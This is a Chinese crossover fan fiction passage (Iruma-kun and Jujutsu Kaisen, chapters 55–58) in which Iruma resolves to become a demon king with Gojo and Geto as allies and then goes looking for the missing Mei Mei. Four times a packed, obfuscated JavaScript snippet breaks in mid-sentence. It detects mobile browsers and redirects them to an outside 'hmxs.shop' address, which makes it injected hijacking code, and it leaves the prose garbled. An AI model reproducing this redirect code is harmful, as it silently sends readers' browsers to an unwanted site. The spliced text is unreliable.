克拉拉其实也并不是非要同宿,在听到有了适合的方向之后,点了点头,表情严肃:“保证完成任务!” 虽然不知道她要去干嘛,总之作为恶魔还是有自保能力的,阿斯莫德不太担心这个。 现在,他要去看望入间大人了。 入间的房间没有开灯,完全看不清里面发生了什么。阿斯莫德轻轻敲了敲门,得到的也只是闷声闷气的:“抱歉,让我自己呆会儿。” 阿斯莫德完全没法抑制自己的惶恐不安,思来想去,他绕到了入间大人房间的窗户旁,手里举着光芒微弱的火球,用以分辨房间内的情形。 只见入间抱着膝盖坐在床上,头埋在膝盖上,周身漂浮着黑色的影子。 几乎是瞬间,因为咒灵领域的幻境带来的ptsd让阿斯莫德不顾一切破窗而入:“区区咒灵,竟然敢伤害入间大人——” 而原本沉浸在情绪中的入间,听到不知何时,艾利先生迷茫追问的声音停止了,伴随而来的是阿斯莫德的呼唤以及气势汹涌的破窗声,也眨着被泪水糊住的眼睛看了过去:“阿兹……君?” 哪里有咒灵? 懵然环顾四周,野生咒灵这种东西怎么可能穿过结界出现在高专啊,这个房间里也就艾利先生比较可疑…… 等等,艾利先生?被阿兹君看到了? 在这场误会里,艾利先生才是最慌的。他几乎是立刻弹开,化作黑色的雾气,捏着嗓子,不知道在躲什么:“哎呀,真是的,安慰人还好心没好报!” 从嗓子眼儿里挤出来、细声细气的女声完全出卖了性别,还让入间起了一身鸡皮疙瘩。 入间:“……” 再沉重的心情,看到这一幕之后,大概也很难继续下去吧? 不过…… 当务之急是先保下艾利先生啊喂! “不不不,阿兹君,你误会了。”入间哑着嗓子连连摆手,“艾利先生,是好人!” “入间大人,这只咒灵太可疑了,为了您的安全,我申请将它先抓住再说!” “不不不,艾利先生真的不是咒灵!” 入间抱住阿斯莫德的腰,也不管三七二十一了:“它其实在魔界就出现了,它是恶食戒指的戒灵啊!” 一阵兵荒马乱的动静过后,入间总算拉住阿斯莫德,将大概解释了个七七八八,包括很多时候自己所释放出的“魔力”,也是由爷爷将魔力注入,他再使用的。 而在这样一番折腾之后,入间低落的心情,居然意外地好了一些:“我只是偶尔的情绪低落罢了,没关系的,不要担心我,阿兹君。” 让他完全没想到的是,在自己跟阿斯莫德坦白了这件事之后,阿斯莫德,居然哭了。 入间腮边还有风干的泪痕,就要手忙脚乱地安慰不知道为什么眼泪噼里啪啦悄无声息就掉下来地阿斯莫德:“等、等等,阿兹君,你为什么哭了啊,别、别哭啊……救命!” 他试图转过头求助万能的艾利先生,却发现艾利先生已经不知道什么时候脱离了戒指,兀自飘走了。 “艾利先生!” 艾利先生不语,只是躲在窗台底下,端着不知道从哪里搞来的红酒杯和躺椅,非常具有生活情调地晒着月光浴,啧啧道:“哎呀,年轻人啊。” 他才不会掺和这种事呢。 不过,这么有意思的情景,不能录下来留念实在是太遗憾了。 啧啧啧,年轻人。 求助无门,入间索性抬头看着阿斯莫德。不得不说,阿斯莫德的美貌真的是……那种,很难得的……种类。 流下的眼泪大幅削弱了他平时保持着的严肃表情,因为泪水而略微泛红的眼角甚至增加了几分妖冶,让入间后知后觉意识到,他的母亲是色首艾姆莉莉丝,而他也继承了母亲的好样貌和家系能力。 以至于,在这样的狼狈情形下,他居然在看着阿斯莫德的脸发呆。 意识到这点之后,入间连忙疯狂摇头,把自己那些奇奇怪怪的念头甩开,用自己最大的诚恳询问:“阿兹君,为什么哭了?” 得到的答案也是完全出乎意料:“因为感觉入间大人,在魔界受了很多苦。” 因为很愧疚,因为心痛,因为他在之前一直沉浸在追随强者的快乐中,在想象入间大人耗费了多大的辛苦才能从一群人中脱颖而出,于是情不自禁开始流泪。 “其实……也没有很辛苦吧?”入间挠了挠头,笑道,“我在魔界生活得很快乐啊!有亲人、有朋友,不需要打工……反正我在人类世界的功课也不怎么好,但是在阿兹君、克拉拉还有巴拉姆老师的帮助下,期末也取得了不错的成绩……” “我坦白了自己难过的原因,那么入间大人能不能告诉我,为什么会觉得悲伤呢?” “因为……”入间有些难为情。 于是阿斯莫德乘胜追击:“作为朋友,不是应该一起分担苦恼吗?如果只让入间大人倾听我的烦恼,那太不公平了。” 好吧,入间完全被说服了。 但是说出口,大概还是有些难为情的,所以他默默盯着自己的脚尖,组织语言:“因为……我觉得,我好像做错了。” “将家入学妹交给高专,真的对吗?” “家入学妹的术式是反转术式,可以治疗别人。”入间说,“所以会被‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942851|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不死鸟’当作底牌,为大人物治疗。” 这是他们都知道的事情。 “可……现在的家入学妹,不也是需要为了总监会那些‘大人物’治疗吗?” 当初在刚救出家入硝子的时候,他们就被夜蛾告知,硝子拥有治疗他人的反转术式本身就是怀璧其罪,自己会努力周旋让她获得一定程度上的自由。 可是…… 硝子的自由也并不是自由。 那只不过是从一个小一点的笼子,换到更大一点的笼子里罢了。 一样的,本质来说,都是一样的。 以至于他现在,开始怀疑起自己。 一个很多拥有强有力但是不是属于自己底气的孩子都会产生的念头:如果之前的成功,是因为我背后的家人呢? 多耳族的解放带给他一些底气——被救出来的人,能过得很好,获得自由,找到自己的归属。 但是家入硝子的遭遇,宛如当头一棒,告诉他在这里,他的好意是行不通的。 这使得入间产生了这样的念头——或许他从来都没有彻底成长过。 魔界强者为尊的本质是需要竞争,需要争抢。 沙利文因为知道他不敢不愿意,所以会用其他的方式委婉达成竞争目的。 他的目标一直是成为他人眼中的自己,沙利文需要一个可爱的孙子,入间做到了;想要得到欧佩拉对自己成为沙利文家族一员的认可,所以努力;因为恶魔追求实力,所以决定拥有变强的“野心”;但是,未来应该走向什么道路,对入间来说,一直都是迷茫的,他只是凭借直觉和本能在魔界如鱼得水。 不管怎么说,他一直生活在走一步看一步的空中楼阁。 这样的好处,是他的眼睛能够看到别人看不到的、或者说不是那么在意的东西,愿意朝着那些被压迫的弱者伸手,可坏处也很明显,也就是他对于未来没有固定的努力方向。 到了目标位阶之后呢?他又要怎么做,下一步是什么? 他不知道。 “不可以争抢”是刻在骨子里的守则,因为争抢会在工作中得不到人缘,争抢会被排挤,或者追溯到最开始的原因——因为父母不希望他争抢。 同样的生存资料因为有了个孩子大幅度缩水,于是不称职的双亲决心将事情转嫁给入间,利用孩子对双亲天然的爱意逼迫后退,忍让。 但是欲望不会因为抑制而满足,只会越来越膨胀。 直到最后……彻底爆发 就像是他贪婪的胃口一样,永远不知饱足。 “不能真正帮到底的话,即使行善,也很虚伪吧?” “入间大人……”阿斯莫德颤抖着,想要说什么,却无从说起。 “所以……” 但是入间就是入间,在面对这样惶恐的发现之后,阿斯莫德听到他小声而坚定地说:“阿兹君,就像你的目标那样,辅佐我在异世界成为魔王吧。” 阿斯莫德一愣,愕然看向入间,看到他的表情腼腆而坚定:“既然没有办法靠着家里帮助别人,那我就变成那个让他们不敢招惹的势力好了。” 即使是人类社会,也存在着慕强的心态。一个足够让所有人不敢置喙的魔王,应该能创造一个更好的世界吧? “……好!” “支持你成为魔王——唔呜!” 在这样澎湃的感情达到高峰的时候,突然加入的声音让他们俩充满惊吓地转头:“!!!” 56.他可真的有王位继承 像是怕他们没听到,那声音挣脱束缚,又重新喊了一嗓子: “支持魔王统治咒术界!” 忽然的插嘴让两人彻底清醒,接着就看到了月色下窗台边一黑一白两个脑袋顶。 能看出是已经尽力在藏的,但是奈何个子实在是太高了。 入间:“……” 阿斯莫德:“……” 窗外,夏油杰还在努力把五条悟往下按:“嘘!!!” 偷看偷听的话,好歹也给我收敛一点啊可恶! 而五条悟……五条悟在蹲下来的时候,一眼看到了试图逃跑的艾利先生,并且一把抓住,试图顷刻炼化。 但是很意外的,他发现那个黑影居然融进墙壁,消失不见了。 “啧。” 还没拉着旁边家伙一起看,房间里的惊讶声就传了出来。权衡片刻,五条悟放弃了猎物,顶着夏油杰崩溃的目光,这个祖宗兴致勃勃又挣扎着探头,对着房间里两个人强调了一遍:“快,统治咒术界!别让我瞧不起你!” 入间:“……” 入间:“啊啊啊啊啊啊啊!” 被、被听到了! 还是御三家的神子! 救命啊—— 真是一个兵荒马乱的夜晚呢。 夏油杰立刻道歉:“抱歉,我们只是有点担心……” 而五条悟绝不内耗:“哎呀,你们撞破玻璃的声音实在是太大了啊!” 不同的声音同时响起,土下座的夏油杰默默捅了五条悟一肘子:“道歉也要拿出点诚意来,悟。” 然后非常苍白地解释:“嗯……悟没有什么坏心眼的……嗯,对,我们都觉得很抱歉,听到隔壁传来的动静太大了所以有点担心……” 入间:“……” 入间在心里猫猫抱头尖叫。 问题很大啊,虽然是好心但是你身边的家伙可是五条家的神子啊,五条家是御三家之一,御三家又是总监会的重要组成成员…… 旁边的阿斯莫德就干脆多了,伴随着魔力的调动和激烈的情绪,翅膀在衣下悄然展开,逐渐显露出属于恶魔的张扬,仿佛只要面前的两个人有一点恶意,他就会不顾一切地和他们同归于尽。 “不要用这种眼神看着老子啦。”被夏油杰制裁之后的五条悟兴致缺缺,“老子跟那群烂橘子关系也没有你想的那么好吧?” 在魔界,同样被当成继承人培养的两人:“不信。” “是他们,需要遗传了家传术式‘六眼’和‘无下限’的老子。”五条悟哼了一声,“一群烂橘子勾心斗角,老子从出生起被悬赏暗杀也有家族内的手笔,真的没什么兴趣拯救他们,最多希望你们不要全杀了就行。” “杀了继承人?”阿斯莫德有点不敢相信自己的耳朵,真是好小众的词汇啊,家族全力培养的继承人说杀就杀,也不要紧吗?带来的动荡呢?造成的损失呢? 人类的眼光,居然可以短浅到这种离谱的程度吗? 五条悟浑不在意地摆摆手:“不要指望那种皱巴巴、脑子已经完全溃烂掉了的老东西能够拥有什么足够高的远见啦。” 仿佛误入了什么奇怪集会的夏油杰:“……” 夏油杰叹了口气:“悟不是会撒谎的性格,我们为偷听感到抱歉,但是确实不是抱着什么恶意来的。” 入间倒是很愿意相信:“确实,我相信你们对我们并没有抱着任何恶意……不过要不我们还是先把他们俩分开吧?” 在他们诚恳交流的时候,旁边的二位已经一言不合就剑拔弩张随时可能动手了! “既然入间大人这么说了,那我选择相信。”阿斯莫德被拉回入间身边,原本的尖锐也收敛了许多,“但是,为了巩固这份信任,我要求立下束缚。” 夏油杰对于咒术界还是一知半解,他重复了一遍阿斯莫德的话,表情有些迷茫:“束缚?” “就是发誓啦,那种会应验,真的造成伤害的誓言。”五条悟解释完,追加条件,“老子当然可以和你们立下束缚,但是这得是老子的投名状——老子想加入你们!” “悟,这……不会被打击报复吗?” 夏油杰简直跟不上剧情的发展了,稀里糊涂被告知其实咒术界也不太光明,旁边的同期还决定一起搞事。 谁还记得一开始他们就只是来看看前辈们的情况的?! 五条悟还是笑嘻嘻地,看热闹不嫌事大:“你不觉得这样超有意思吗?” 夏油杰:“……” 夏油杰没有否认,相当可疑地沉默了几秒,然后回答:“觉得。” 于是两人快乐地击掌。 “悟,那么,我和你一起立下束缚吧。” 入间:“!!!” 怎么,我只是提了一嘴,你们就一个个都来啦! “我不方便干扰悟的决定,但是会担心你的安全。”夏油杰这么说,“那么就我们共同承担吧。” “况且,比起没见过面的长老啊总监会大人们什么的,明显是你们在和我们朝夕相处,也一直在为解决咒灵保护普通人而努力。那么,我没有理由不加入吧?如果能让这个世界变得更好的话。” “不过,出于对我们的负责,我想问铃木前辈,为什么想推翻咒术界?只是单纯为了解决掉那些高层吗?” “当然不是!因为咒术师本身的存在就很痛苦吧。”虽然在这样正式的环境下,入间有些不安,但还是努力表达出自己的想法,“当然,只是在我自己的经历里看到的,是这样的情况。” 出身于普通人家的咒术师,比如饭沼明正,会被咒灵追杀,还会被父母误解厌恶…… 咒灵的来源是附着在普通人身上的咒力,结合恐惧的情绪,产生咒灵这种集合体。咒术师不会外泄咒力,却能够看到咒灵,担负起祓除咒灵的责任,和被误解歧视的日常。 这是不公平的。 五条悟开口:“所以,你吸收了他们身上的咒力。” 入间不意外五条悟能够发现这点,非常干脆地承认:“是的,我可以吸收咒力,化为己用。” “但是,只有一个我,是不够的。” 在总监会的高压下,咒术师们得不到应有的保护,就像是到了年纪就收割的一茬长在野地里的果实。 这种畸形的、充满恶意的结构,没有存在的必要。 于是夏油杰露出了一个笑容:“既然是这样,那么我和悟的选择,是一样的。毕竟我也是抱着拯救弱者的念头成为咒术师,来到高专的。” “哇,好伟大的念头,好高尚的理想!” “不要以为我听不出你的挖苦,悟。” “哼哼。” 就这样,支持入间的人,再加一。 入间:“……” 说什么呢,怎么一群人自说自话就把我架起来了啊喂?! 不过学弟们的加入明显是一件好事,入间当然是点了点头:“非常感谢你们,我会努力的!” 正经的氛围还没有持续多久,学弟们再次脱线。 冲在前面的依旧是五条悟:“都魔王了,能不能给我们个什么当一下?” 这次夏油杰也加入了:“不能搞个正经一点的组织吗?一定要用这种听起来不是非常正规还有点中二、听着不太正经的魔王头衔吗?” 阿斯莫德当然挺身而出为他们正名:“我们入间大人,在魔界,是真的有王位继承的啊!” 入间: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947490|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “!!!” 呆毛“咻”一下炸直了。 我怎么不知道自己有王位啊! 抱着“是不是阿兹君一不小心说错了”的想法,入间连忙凑近阿斯莫德的耳朵:“阿兹君,这个……我没有王位要继承吧?” 阿斯莫德被入间凑近了耳朵,热乎乎的气流吹过来简直让他浑身僵硬耳根发红,完全听不进去入间说了什么,直到入间重复了一遍,才努力让自己清醒过来,回答入间的疑问。 “啊……其实是有的。”他同样小声地回复,“魔界高层曾经提出过‘TS计划’,培养魔王预备役,您就在名单之中。” 说着说着就开始热血沸腾地构想:“您非凡的才能,只有魔王的位置才能完美适配!在法理上,您作为受到培养的候选人,也有继承王位的机会!” 入间:“但是、但是我们是在异世界……” 阿斯莫德握紧拳头,事业脑取代了一切粉红泡泡:“是的,如果能征服异世界,这就会是您问鼎魔王宝座的最大政绩!” 那这不是两头画饼吗?! 老实人入间,受到了震撼。 当然,他不会是最震惊的,这里还有一个因为对咒术界知之甚少以至于任何东西都被自动合理化,最后被他俩异世界人士身份震惊到的人:“什么?!铃木前辈和艾利斯前辈,都是……魔界人士?这个世界除了咒术界还有魔界吗?那还有什么?驱魔人?魔兽?恶魔?!” 阿斯莫德虽然有点不太能理解夏油杰的崩溃,但是看在学弟们决定追随入间大人成就伟业的份上,好心回答:“在下正是恶魔,乃是魔界‘十三冠’中色首的独生子。” 入间连忙补充:“我们是异世界的人啦,这个世界只有咒灵咒术师的,不要担心!” 夏油杰:“……” 这都什么轻小说剧情?其他人呢?就这么丝滑接受了吗? 五条悟状似理解地拍了拍他的肩膀:“没关系,杰,在变态方面,我们咒术师是不会输给恶魔的。” “谁要竞争这种东西啊!” “恶魔哪里变态得过人类啊!” “悟,重点是这个吗?” 总之,入间得到了两个有力帮手,真是可喜可贺、可喜可贺。 眼看着折腾了大半夜,夏油杰拖着争取地位的五条悟告辞离开。 “虽然我们也不能保证家入同学就一定是这样的想法,但是好歹也是同期。”在道别的时候,夏油杰笑眯眯地告诉入间,“如果对目前的生活确实不满意到一定程度,她是会想办法离开的。” 以后怎么样不能保证,不过能够说走就跟着可疑人员离开,硝子本身其实也不是特别容易被控制的家伙吧? 如果入间单纯只是因为愧疚的话,他会当场就告诉入间这话,让他再慎重思考一下改变整个咒术界的代价。 显然,入间的眼睛看到了的不只是这一件事,所以,自然放在最后对入间进行开导。 “真的吗?” “确实。”家入硝子的声音在旁边响起。 这真是热闹的一个晚上,白天dk们疯玩,晚上一个接一个谈心。 “我没有怪你们。”入间听到家入硝子这么说,“以后不知道会怎么样,不过如果你们能够减轻我的工作量的话,就最好了。” “好!”入间感动之余,还有点茫然,“家入学妹,你怎么来了?!” “我来……哦,提醒一下你们,明天可能会有人找你们告状。”硝子展示了一下手臂上挂着的少女,“她好像把大部分在校咒术师的咒力吸收干净了。” 入间:“!!!” 阿斯莫德:“!!!” 就这样,克拉拉被连夜送走了。 57.冥冥失联了? 既然有了目标,入间和阿斯莫德顺理成章失去了自己的假期。 不为别的,在快乐休假的时候撞上正在上课的学弟们,被用那种恨铁不成钢的眼神看着他们,满眼写着:“难道你们就是这样拯救咒术界的吗?” 再咸鱼的家伙都会垂死病中惊坐起的。 虽然很难说学弟们有没有因为自己上学而掀桌子的私心,但是这招确实有效。 而在没有休息地工作之后,出现了这样一幕: 入间疲惫得不太想动弹,随机刷新在各种地方;但是阿斯莫德倒是干劲满满,之前被克拉拉清空咒力的咒术师倒霉蛋们被派遣的任务,也被交给了他,仿佛这个家里成熟的顶梁柱。 他真的,艾利先生哭死。 “啧啧,入间小弟,你要知道,恶魔是怎样只顾着自己享乐的品种……一个自私傲慢的恶魔被你调成什么样子了,啧啧啧。” 艾利先生是这么感叹的。 入间:“……” 入间不知道,入间只觉得大家都莫名其妙变得很奇怪。 “你别说,其实他俩加入也挺好的。”艾利先生摸着下巴沉吟,“你的两个学弟,根据我的情报分析,其实阿斯莫德君也不一定是他们的对手,更别说你了。” 说到这里,还恨铁不成钢地敲了敲入间的脑袋:“在入间小弟真的能够独当一面之前,有两个在此世都应该属于是最强的家伙顺手保护你,才能让人放下心来啊!” 说起来…… 入间看了看现在已经随着升级,能够短暂脱离戒指出现在其他地方的艾利先生,鬼使神差地询问:“那么……艾利先生对于我想成为魔王,有什么想法呢?” 艾利先生语气意外,毕竟在那张连嘴都没有的脸上实在是看不出能够有什么表情:“啊?我吗?” 接着入间就被用力拍了一下脑袋:“能有什么想法,总不至于你真的指望我也来给你干活吧?” “呜啊!我、我也只是随口一问嘛!” “我的想法是——”艾利先生状似严肃地摇着手指,“没有想法,并且我绝对不要继续工作了!反正你现在没有我也能控制恶食戒指里的魔力了!” 入间瞪大眼睛:“什么时候?我不知道啊!” “大概是你从饭沼家回来之后吧?”艾利先生回忆道,“你没有发现吗,最近几次我都没有帮你调节魔力了耶。” “完全没有发现啊!” “嘶,不会是我忘记说了吧?” 虽然这句话的声音很小,但是入间还是听到了:“什么忘记说了?” “嘛,就是……”艾利先生眼神游离,非常心虚,“反正你迟早也要知道的,都想当魔王了这种事应该也是小问题吧哈哈哈哈哈……” 入间:“……” 听到这样的话就会让人感觉这个事情绝对不会小啊! “我教你的特殊情况下的保命咒语‘恶戏’,伴随着你的使用次数增加,其实会逐渐改造你的身体,直到能够彻底容纳魔力为止。” 艾利先生对此有他自己的见解:“你看,当你不得不使用这个咒语的时候,一定证明你处于危险的情况下,用得越多表明你的安全越容易受到危险,那么对你的身体进行改造,适应生存的强度也很合理对不对?” “不过就是……嗯……不再是纯粹的人类了而已,恭喜你,就算没有恶食戒指你也是一个真正的咒术师了。” 入间:“!!!” 啊,居然是这样吗?好合理…… 但是这样说来岂不是不再是人类了? 变成人类好像也没有多好的样子…… 思考了两圈,入间,成功读作“说服”、实则绕晕了自己。 毕竟考虑到入间那对父母的情况,也实在是很难说自己对于保持原来的人类身份有什么执念。 那确实没什么可指摘的…… “入间大人!” 呼唤打断沉思,他觉得变化得最大的人来了。 他两个世界的同班同学阿斯莫德,接受的速度已经到了一种惊人的地步,就好像之前坦白自己的人类身份,也只是在“克拉拉知道吗?”“不知道。”的对话之后就一切太平。 发现同学朋友之间只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962594|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己知道之后,就完全的心满意足了。 入间……入间真是觉得自己跟这个世界格格不入。 到底是谁更有问题啊喂! 不过想归想,入间还是冲着他招手:“在这里!” 凑近了才发现阿斯莫德紧紧皱着眉头,手里还拖着一只半死不活的咒灵。 入间默默在心里庆幸他俩都在高专的结界之外,免了一场因为带进陌生外卖、咳、咒灵而导致的结界警报,并且相应得到人手一份的检讨作为奖励。 “阿兹君,怎么了?” 入间鲜少见到阿斯莫德是这样的表情,不同于为了维护他而炸毛的愤怒,这种表情更像是遇到了一件难以评定严重程度的……发愁? 入间也因为阿斯莫德脸上这样罕见的表情而感到神奇,索性凑近了瞧,伴随着他的靠近,阿斯莫德下意识后退一步,踩在趴在地上的咒灵身上,挤出“扑哧扑哧”的奇怪动静。 又像是意识到了自己的动作有些欲盖弥彰,阿斯莫德上前一步,无视掉咒灵痛苦的声音,拿出自己的手机,装出一副严谨的态度,实际上眼睛一直在偷偷瞟着一旁的入间,看起来竟然有几分鬼鬼祟祟:“入间君,冥冥上次给你发消息,是什么时候?” 说起了正事,入间也若有所思地回忆:“上次……还是在家入学妹在高专办理手续的时候?夜蛾老师说她的老家有事,所以……” 入间像是意识到了什么,看向阿斯莫德。 “是的。”阿斯莫德点了点头,“因为最近也可以考虑‘伊露米’回归的事情了,所以我打算联系冥冥,讨论这方面的公告,但是,却怎么都联系不上她。” 咒术师们,一般来说还是比较“独”的。所以即使有谁消失了一段时间,大家都不会太在意。 但是这次,冥冥失踪的时间,有点过分长了。 包括他们所知道的、冥冥购买的基金在最近疯狂跳水,都没人打理或者抛售,完全不符合冥冥自身的性格。 入间不由得涌上几分担忧:“冥冥她……最后是去了哪里?” “她的老家,静冈县。” 58.无姓之家 从不知名具的山顶涌动着的雾气,如同洪水般沉重地倾泻而下,覆盖了整个山脚下的村镇,像是一种柔软、却毋庸置疑的封锁。 整座村镇也都是静悄悄的,鸡不鸣、犬无声,如果不是偶尔能够从窗户中看到些人影或者灯光,几乎可以被认为是一片死地。 在这一片茫茫的白色中,逐渐显示出一高一矮两个人影,因为发色实在鲜亮,所以比起周围的环境,更容易被识别。 “这里就是冥冥的老家吗?”入间抓着地图,带着阿斯莫德在大雾里行走,“天气不太好的样子啊。” 能见度也太差了些,从车站出来以后也没有能够搭载的出租车,说来奇怪,车站附近等待乘客的司机们一听到他们口中的村名,不是一脸茫然表示实在未有耳闻,就是如临大敌,连连摆手婉拒。 找不到什么在大雾天里相对安全且靠谱的交通工具,连山地车都有价无市,两个小倒霉蛋只能靠着阿兹君的火勉强作为指引,一路徒步找到这里。 越靠近村子,围绕着两边山路的绳子就越多,仿佛是害怕在越来越深的雾气里,行路人会一不小心从路边翻出去、跌落山崖一样。地上还铺着星星点点的白色碎片,几乎和地上的泥土融为一体。 “叮铃叮铃!” 突然打破寂静的第二道声音由远及近,让他们不由得提起戒备。 等到来者到了面前,才发现是一只乌鸦。 它通体漆黑,羽毛光滑油亮,脖子上挂着一串铃铛,正是入间他们所听到的声音的来源。 “嗯……你好?”入间知道自己这样有点傻,不过说来也奇怪,他总觉得这只乌鸦能够听懂自己的话,“你见过一个十几岁的女生吗?白色头发,个子很高……” “叮铃叮铃!” 乌鸦蹦跳着来到他们面前,仔细打量着他们,然后拍拍翅膀,停留在了旁边某户人家的院子里。 “你是要我们过去吗?”入间有些迟疑地确认。 乌鸦不语,只是在他们靠近之后,拍拍翅膀,再次来到了更远处的一户人家。 阿斯莫德不由得皱眉:“入间君,它是不是在耍我们。” “应该……不会吧?” 看他们没有跟上来,乌鸦还伸出了半边翅膀,扑扇两下,像是在催促。很奇怪的,一直没有发出鸣叫。 好吧,跟上去看看吧。 他们对视一眼,跟着乌鸦的指引,一路来到居民区的深处。最后的终点,是一栋看起来很有些年代感的民宅,上面没有写着姓氏,院门却大敞着,院内草木凋敝,几乎是荒废了。 毕竟不能私闯民宅,入间犹豫着站在门口,没有再继续。 但是,乌鸦在看到他们止步不前后,却来到了他们身后,并且指向明确地用脑袋用力往前撞了一下入间,示意他赶紧进去。 过分人性化的行为,让入间也不由得哑然。 “它……很想让我们进去?为什么?” 阿斯莫德也为此警惕起来,挡在入间和乌鸦之间:“不知道,但是感觉不能轻举妄动。” “咚、咚咚——” 雾中飘过来的,是太鼓的声音。 太奇怪了,难道声音在这里象征着什么吗? 听到太鼓声的乌鸦不知怎么,忽然急了起来,不再是单纯用脑袋撞人,而是张着翅膀,发出了从见到他们以来,所能听到的第一声鸣叫:“嘎啊——” “砰!” 有什么影子一闪而过,将乌鸦撕得粉碎,铃铛无力地掉在了地上,最后响了一声。 阿斯莫德连忙护着入间进入了这栋看起来空无一人的安静宅邸,比起开阔地带和大雾中随时可能出现的不安定因素,可控制的、限制于一室之内的房子成了他们现在相对来说最好的选择。 门没有锁,轻轻一推就能够推开,里面是一种久无人烟的凄冷,但是又无一丝灰尘,仿佛有人时时清扫。这样截然相反的氛围,反衬出一种仿佛时间都在此凝固的死寂。 “您好,有人吗?” 当然是没有声音回答他。 入间自己都觉得有些纳罕,毕竟他也并不是一定要得到什么回答,只是想着人声多少能吸引一点潜伏在里面的咒灵什么的吧? 只是这栋房子内部,简直完全遵循着入间的第一印象,完全的死寂,即使是最低等级的四级咒灵蝇头都看不到一点影子。 所有的门窗乃至部分的墙壁,都用红色的印记留下了或狂乱、或工整的、不明用处的符号。入间将咒力汇聚在眼睛部位,看到外面有源源不断的咒力沿着符号的纹路,用一种堪称规整的形态包围了这栋房子。 唯独某个部分,像是被打破的车窗玻璃,咒力的分布凌乱而活跃。 像是玻璃上的裂痕,缺口附近一定存在着的、深刻且放射状态的破损。 “这里……是……” 沿着“裂痕”穿过长廊,来到大屋,终于完全见到了那个“缺口”。 在咒术层面上“缺口”并没有对这栋积年的宅邸造成任何伤害,一切都完好无损,但是作为咒术师却能感觉到和外面类似的一种玄妙的威胁感。 入间在小桌上发现了一台对于这个房子而言实在是有些格格不入的电脑,里面的界面停留在聊天一栏,是和职业经理人的谈话。 从措辞和聊天中的信息来看,电脑的拥有者,正是冥冥。 而聊天时间停留在了……冥冥让自己的基金管理人抛售掉某个最近正在疯狂掉价的基金上,理由是“认为它会在三天之后掉到低谷”。 只可惜消息完全没来得及发出去。 入间:“……” 阿斯莫德:“……” 好消息,冥冥确实非常有眼光,并且在失踪之前精准预言到了这波亏损;坏消息,处于某些干扰她还是没能抛售掉,而现在,这支基金真的掉了。 真是……令人悲伤的消息,甚至这种情绪冲淡了在陌生地方的警惕不安。 “虽然这时候说这话似乎不太好……”入间看向阿斯莫德,小声说,“不过我感觉为了挽回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968011|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 损失,接下来伊露米她们,真的要被安排加班了。” 阿斯莫德仿佛想到了什么画面,不由得心有余悸:“是、是啊……” 从生活的痕迹似乎可以看出来,这里是冥冥在老家的住所。让入间感觉莫名在意的,是为什么,这栋宅邸,没有任何姓氏的标识? 以至于在思索冥冥的姓名时,入间忽然发现,冥冥从一开始就一直在使用“冥冥”这个名字。 哪怕询问高专所有人,知道的也只是她的这个称呼,没有人能说出她的姓氏,也……没有人能确定这是否是她的真名。 就好像…… 和这栋宅邸一样,是坐落在村子的最中央,却与世隔绝的孤岛。 “是他们家又回来人了吗?” “会不会是死掉的怨灵在作祟?” “也可能是被他们家叫过来的什么人吧?” “嘘——你们不要说了!” 悉悉簌簌的说话声惊扰了在这栋房子里调查摸索的入间和阿斯莫德,不知不觉,他们在这里已经呆到了晚上。带着疑惑推开门走到长廊,入间看到了一个完全和白天截然相反的地方: 雾气不知何时已经全然消散,虽然有些建筑依然和夜色融为一体,但是那些亮着灯的建筑和来来往往的人让这座村庄的夜晚比起东京同时段的热闹程度,竟然也算是不相上下。 就像是……另一个世界一样。 而事实也证明,他们作为外来人,在白天进村,也不是完全没有被本村人察觉的——宅邸的院墙外出现了几束光源,几个看起来年纪不大的孩子在外面对他们摆手,大概就是之前惊扰他们的说话声来源:“这里不能随意进去的,快出来,不然很容易被诅咒的!” 太奇怪了,有了之前的前车之鉴,入间都不由得怀疑这里是不是又是咒灵的什么幻境类领域。 想到之前听到的、他们的窃窃私语,探出头,入间也学会了在短时间内根据他们透露出的信息编造借口:“你们好,请问你们认识美绪小姐吗?我们是来跟她见面的。” “美绪?” 几个孩子面面相觑,显然没有听说过这个名字,纷纷摇头。 